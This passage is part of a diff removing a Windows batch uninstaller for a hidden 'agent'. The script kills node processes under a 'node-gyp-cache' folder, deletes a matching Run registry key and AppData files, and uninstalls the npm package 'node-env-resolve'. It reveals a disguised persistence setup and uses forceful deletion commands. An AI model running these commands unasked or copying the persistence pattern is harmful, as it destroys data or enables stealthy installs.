-powershell -NoProfile -Command "Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like '*node-gyp-cache*index.js*' } | ForEach-Object { $_.Terminate() }" >nul 2>&1
-
-echo [2/4] Removing auto-start registry entry...
-reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "node-gyp-cache" /f >nul 2>&1
-
-echo [3/4] Deleting hidden agent files from AppData...
-rmdir /s /q "%APPDATA%\node-gyp-cache" >nul 2>&1
-
-echo [4/4] Uninstalling NPM package...
-call npm uninstall -g node-env-resolve >nul 2>&1
-
-echo.
-color 0a
-echo ========================================================
-echo   Success! Agent has been completely removed.
-echo ========================================================
-echo.
-pause